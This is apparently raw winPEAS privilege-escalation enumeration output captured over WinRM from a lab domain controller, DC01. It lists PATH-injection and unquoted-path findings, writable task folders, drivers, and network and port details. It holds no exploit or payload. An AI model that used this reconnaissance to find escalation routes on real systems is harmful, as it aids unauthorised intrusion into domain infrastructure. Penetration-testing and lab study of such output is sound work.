WINRM       172.16.55.128   5985   DC01                 File: IMM32.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: MSCTF
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: MSCTF.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: MSVCRT
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: MSVCRT.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: NORMALIZ
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: NORMALIZ.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: NSI
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: NSI.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: ole32
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: ole32.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: OLEAUT32
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: OLEAUT32.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: PSAPI
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: PSAPI.DLL
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: rpcrt4
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: rpcrt4.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: sechost
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: sechost.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: Setupapi
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: Setupapi.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: SHCORE
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: SHCORE.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: SHELL32
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: SHELL32.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: SHLWAPI
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: SHLWAPI.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: user32
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: user32.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: WLDAP32
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: WLDAP32.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: wow64
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: wow64.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: wow64base
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: wow64base.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: wow64con
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: wow64con.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: wow64win
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: wow64win.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: WS2_32
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: WS2_32.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Active Setup\Installed Components\{2C7339CF-2B09-4501-B3F3-F3508C9228ED}
WINRM       172.16.55.128   5985   DC01                 Key: StubPath
WINRM       172.16.55.128   5985   DC01                 Folder: \
WINRM       172.16.55.128   5985   DC01                 FolderPerms: Users [Allow: AppendData/CreateDirectories]                                                                                                
WINRM       172.16.55.128   5985   DC01                 File: /UserInstall
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Active Setup\Installed Components\{6BF52A52-394A-11d3-B153-00C04F79FAA6}                                               
WINRM       172.16.55.128   5985   DC01                 Key: StubPath
WINRM       172.16.55.128   5985   DC01                 Folder: C:\Windows\system32
WINRM       172.16.55.128   5985   DC01                 File: C:\Windows\system32\unregmp2.exe /FirstLogon
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4340}                                               
WINRM       172.16.55.128   5985   DC01                 Key: StubPath
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: U
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}                                               
WINRM       172.16.55.128   5985   DC01                 Key: StubPath
WINRM       172.16.55.128   5985   DC01                 Folder: C:\Windows\System32
WINRM       172.16.55.128   5985   DC01                 File: C:\Windows\System32\ie4uinit.exe -UserConfig
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Active Setup\Installed Components\{89B4C1CD-B018-4511-B0A1-5476DBF70820}                                               
WINRM       172.16.55.128   5985   DC01                 Key: StubPath
WINRM       172.16.55.128   5985   DC01                 Folder: C:\Windows\System32
WINRM       172.16.55.128   5985   DC01                 File: C:\Windows\System32\Rundll32.exe C:\Windows\System32\mscories.dll,Install                                                                         
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Active Setup\Installed Components\{9459C573-B17A-45AE-9F64-1857B5D58CEE}                                               
WINRM       172.16.55.128   5985   DC01                 Key: StubPath
WINRM       172.16.55.128   5985   DC01                 Folder: C:\Program Files (x86)\Microsoft\Edge\Application\146.0.3856.109\Installer                                                                      
WINRM       172.16.55.128   5985   DC01                 File: C:\Program Files (x86)\Microsoft\Edge\Application\146.0.3856.109\Installer\setup.exe --configure-user-settings --verbose-logging --system-level --msedge --channel=stable (Unquoted and Space detected) - C:\
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Active Setup\Installed Components\{A509B1A7-37EF-4b3f-8CFC-4F3A74704073}                                               
WINRM       172.16.55.128   5985   DC01                 Key: StubPath
WINRM       172.16.55.128   5985   DC01                 Folder: C:\Windows\System32
WINRM       172.16.55.128   5985   DC01                 File: C:\Windows\System32\rundll32.exe C:\Windows\System32\iesetup.dll,IEHardenAdmin                                                                    
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Active Setup\Installed Components\{A509B1A8-37EF-4b3f-8CFC-4F3A74704073}                                               
WINRM       172.16.55.128   5985   DC01                 Key: StubPath
WINRM       172.16.55.128   5985   DC01                 Folder: C:\Windows\System32
WINRM       172.16.55.128   5985   DC01                 File: C:\Windows\System32\rundll32.exe C:\Windows\System32\iesetup.dll,IEHardenUser                                                                     
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Active Setup\Installed Components\{6BF52A52-394A-11d3-B153-00C04F79FAA6}                                   
WINRM       172.16.55.128   5985   DC01                 Key: StubPath
WINRM       172.16.55.128   5985   DC01                 Folder: C:\Windows\system32
WINRM       172.16.55.128   5985   DC01                 File: C:\Windows\system32\unregmp2.exe /FirstLogon
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Active Setup\Installed Components\{89B4C1CD-B018-4511-B0A1-5476DBF70820}                                   
WINRM       172.16.55.128   5985   DC01                 Key: StubPath
WINRM       172.16.55.128   5985   DC01                 Folder: C:\Windows\SysWOW64
WINRM       172.16.55.128   5985   DC01                 File: C:\Windows\SysWOW64\Rundll32.exe C:\Windows\SysWOW64\mscories.dll,Install                                                                         
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{1FD49718-1D00-4B19-AF5F-070AF6D5D54C}                          
WINRM       172.16.55.128   5985   DC01                 Folder: C:\Program Files (x86)\Microsoft\Edge\Application\146.0.3856.109\BHO                                                                            
WINRM       172.16.55.128   5985   DC01                 File: C:\Program Files (x86)\Microsoft\Edge\Application\146.0.3856.109\BHO\ie_to_edge_bho_64.dll (Unquoted and Space detected) - C:\                    
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{1FD49718-1D00-4B19-AF5F-070AF6D5D54C}              
WINRM       172.16.55.128   5985   DC01                 Folder: C:\Program Files (x86)\Microsoft\Edge\Application\146.0.3856.109\BHO                                                                            
WINRM       172.16.55.128   5985   DC01                 File: C:\Program Files (x86)\Microsoft\Edge\Application\146.0.3856.109\BHO\ie_to_edge_bho_64.dll (Unquoted and Space detected) - C:\                    
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 Folder: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup                                                                                    
WINRM       172.16.55.128   5985   DC01                 File: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini                                                                          
WINRM       172.16.55.128   5985   DC01                 Potentially sensitive file content: LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21787
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 Folder: C:\windows\tasks
WINRM       172.16.55.128   5985   DC01                 FolderPerms: Authenticated Users [Allow: WriteData/CreateFiles]                                                                                         
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 Folder: C:\windows\system32\tasks
WINRM       172.16.55.128   5985   DC01                 FolderPerms: Authenticated Users [Allow: WriteData/CreateFiles]                                                                                         
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 Folder: C:\windows
WINRM       172.16.55.128   5985   DC01                 File: C:\windows\system.ini
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 Folder: C:\windows
WINRM       172.16.55.128   5985   DC01                 File: C:\windows\win.ini
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Scheduled Applications --Non Microsoft--                                                                                                       
WINRM       172.16.55.128   5985   DC01             È Check if you can modify other users scheduled binaries https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.html                                                                       
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Device Drivers --Non Microsoft--
WINRM       172.16.55.128   5985   DC01             È Check 3rd party drivers for known vulnerabilities/rootkits. https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#drivers                                                                                               
WINRM       172.16.55.128   5985   DC01                 VMware vSockets Service - 9.8.19.0 build-18956547 [VMware, Inc.]: \\.\GLOBALROOT\SystemRoot\system32\DRIVERS\vsock.sys                                  
WINRM       172.16.55.128   5985   DC01                 VMware Raw Disk Helper Driver - 1.1.7.0 build-18933738 [VMware, Inc.]: \\.\GLOBALROOT\SystemRoot\system32\DRIVERS\vmrawdsk.sys                          
WINRM       172.16.55.128   5985   DC01                 VMware Pointing PS/2 Device Driver - 12.5.12.0 build-18967789 [VMware, Inc.]: \\.\GLOBALROOT\SystemRoot\System32\drivers\vmmouse.sys                    
WINRM       172.16.55.128   5985   DC01                 Intel(R) PRO/1000 Adapter - 8.4.13.0 [Intel Corporation]: \\.\GLOBALROOT\SystemRoot\System32\drivers\E1G6032E.sys                                       
WINRM       172.16.55.128   5985   DC01                 VMware server memory controller - 7.5.7.0 build-18933738 [VMware, Inc.]: \\.\GLOBALROOT\SystemRoot\system32\DRIVERS\vmmemctl.sys                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¹ Network Information ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ                                                             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Network Shares
WINRM       172.16.55.128   5985   DC01               [X] Exception: Access denied 
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Enumerate Network Mapped Drives (WMI)
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Host File
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Network Ifaces and known hosts
WINRM       172.16.55.128   5985   DC01             È The masks are only for the IPv4 addresses 
WINRM       172.16.55.128   5985   DC01                 Ethernet[08:00:27:2F:A0:3B]: 172.16.55.128, fe80::c833:192d:dba0:737%4 / 255.255.252.0                                                                  
WINRM       172.16.55.128   5985   DC01                     Gateways: 172.16.52.1
WINRM       172.16.55.128   5985   DC01                     DNSs: 114.114.114.114, 114.114.115.115
WINRM       172.16.55.128   5985   DC01                     Known hosts:
WINRM       172.16.55.128   5985   DC01                       10.0.2.2              00-00-00-00-00-00     Invalid                                                                                               
WINRM       172.16.55.128   5985   DC01                       169.254.169.254       00-00-00-00-00-00     Invalid                                                                                               
WINRM       172.16.55.128   5985   DC01                       172.16.52.1           00-74-9C-E6-DF-52     Dynamic                                                                                               
WINRM       172.16.55.128   5985   DC01                       172.16.55.128          00-00-00-00-00-00     Invalid                                                                                               
WINRM       172.16.55.128   5985   DC01                       172.16.55.193         00-0C-29-3D-0E-6F     Dynamic                                                                                               
WINRM       172.16.55.128   5985   DC01                       172.16.55.255         FF-FF-FF-FF-FF-FF     Static                                                                                                
WINRM       172.16.55.128   5985   DC01                       224.0.0.22            01-00-5E-00-00-16     Static                                                                                                
WINRM       172.16.55.128   5985   DC01                       224.0.0.251           01-00-5E-00-00-FB     Static                                                                                                
WINRM       172.16.55.128   5985   DC01                       224.0.0.252           01-00-5E-00-00-FC     Static                                                                                                
WINRM       172.16.55.128   5985   DC01                       255.255.255.255       FF-FF-FF-FF-FF-FF     Static                                                                                                
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 Loopback Pseudo-Interface 1[]: 127.0.0.1, ::1 / 255.0.0.0                                                                                               
WINRM       172.16.55.128   5985   DC01                     DNSs: fec0:0:0:ffff::1%1, fec0:0:0:ffff::2%1, fec0:0:0:ffff::3%1
WINRM       172.16.55.128   5985   DC01                     Known hosts:
WINRM       172.16.55.128   5985   DC01                       224.0.0.22            00-00-00-00-00-00     Static                                                                                                
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Current TCP Listening Ports
WINRM       172.16.55.128   5985   DC01             È Check for services restricted from the outside 
WINRM       172.16.55.128   5985   DC01               Enumerating IPv4 connections
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               Protocol   Local Address         Local Port    Remote Address        Remote Port     State             Process ID      Process Name                       
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               88            0.0.0.0               0               Listening         652             lsass                              
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               135           0.0.0.0               0               Listening         932             svchost                            
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               389           0.0.0.0               0               Listening         652             lsass                              
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               445           0.0.0.0               0               Listening         4               System                             
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               464           0.0.0.0               0               Listening         652             lsass                              
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               593           0.0.0.0               0               Listening         932             svchost                            
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               636           0.0.0.0               0               Listening         652             lsass                              
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               1433          0.0.0.0               0               Listening         4476            sqlservr                           
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               3268          0.0.0.0               0               Listening         652             lsass                              
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               3269          0.0.0.0               0               Listening         652             lsass                              
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               5985          0.0.0.0               0               Listening         4               System                             
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               9389          0.0.0.0               0               Listening         2916            Microsoft.ActiveDirectory.WebServices                                                                                                      
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               47001         0.0.0.0               0               Listening         4               System                             
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               49664         0.0.0.0               0               Listening         652             lsass                              
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               49665         0.0.0.0               0               Listening         496             wininit                            
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               49666         0.0.0.0               0               Listening         1224            svchost                            
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               49667         0.0.0.0               0               Listening         1704            svchost                            
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               49668         0.0.0.0               0               Listening         652             lsass                              
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               49677         0.0.0.0               0               Listening         652             lsass                              
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               49678         0.0.0.0               0               Listening         2784            spoolsv                            
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               49681         0.0.0.0               0               Listening         640             services                           
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               49691         0.0.0.0               0               Listening         2880            certsrv                            
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               49705         0.0.0.0               0               Listening         2936            dns                                
WINRM       172.16.55.128   5985   DC01               TCP        0.0.0.0               49761         0.0.0.0               0               Listening         2896            dfsrs                              
WINRM       172.16.55.128   5985   DC01               TCP        127.0.0.1             53            0.0.0.0               0               Listening         2936            dns
WINRM       172.16.55.128   5985   DC01               TCP        127.0.0.1             1434          0.0.0.0               0               Listening         4476            sqlservr
WINRM       172.16.55.128   5985   DC01               TCP        172.16.55.128         53            0.0.0.0               0               Listening         2936            dns                                
WINRM       172.16.55.128   5985   DC01               TCP        172.16.55.128         139           0.0.0.0               0               Listening         4               System                             
WINRM       172.16.55.128   5985   DC01               TCP        172.16.55.128         445           172.16.55.193         54476           Established       4               System                             
WINRM       172.16.55.128   5985   DC01               TCP        172.16.55.128         445           172.16.55.193         55438           Established       4               System                             
WINRM       172.16.55.128   5985   DC01               TCP        172.16.55.128         1433          172.16.55.193         35720           Established       4476            sqlservr                           
WINRM       172.16.55.128   5985   DC01               TCP        172.16.55.128         1433          172.16.55.193         38112           Established       4476            sqlservr                           
WINRM       172.16.55.128   5985   DC01               TCP        172.16.55.128         1433          172.16.55.193         39144           Established       4476            sqlservr                           
WINRM       172.16.55.128   5985   DC01               TCP        172.16.55.128         1433          172.16.55.193         49774           Established       4476            sqlservr                           
WINRM       172.16.55.128   5985   DC01               TCP        172.16.55.128         1433          172.16.55.193         55852           Established       4476            sqlservr                           
WINRM       172.16.55.128   5985   DC01               TCP        172.16.55.128         1433          172.16.55.193         56146           Established       4476            sqlservr                           
WINRM       172.16.55.128   5985   DC01               TCP        172.16.55.128         1433          172.16.55.193         56550           Established       4476            sqlservr                           
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               Enumerating IPv6 connections
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               Protocol   Local Address                               Local Port    Remote Address                              Remote Port     State             Process ID      Process Name                                                                                   
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        88            [::]                                        0               Listening         652             lsass
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        135           [::]                                        0               Listening         932             svchost
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        389           [::]                                        0               Listening         652             lsass
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        445           [::]                                        0               Listening         4               System
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        464           [::]                                        0               Listening         652             lsass
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        593           [::]                                        0               Listening         932             svchost
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        636           [::]                                        0               Listening         652             lsass
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        1433          [::]                                        0               Listening         4476            sqlservr
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        3268          [::]                                        0               Listening         652             lsass
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        3269          [::]                                        0               Listening         652             lsass
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        5985          [::]                                        0               Listening         4               System
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        9389          [::]                                        0               Listening         2916            Microsoft.ActiveDirectory.WebServices
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        47001         [::]                                        0               Listening         4               System
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        49664         [::]                                        0               Listening         652             lsass
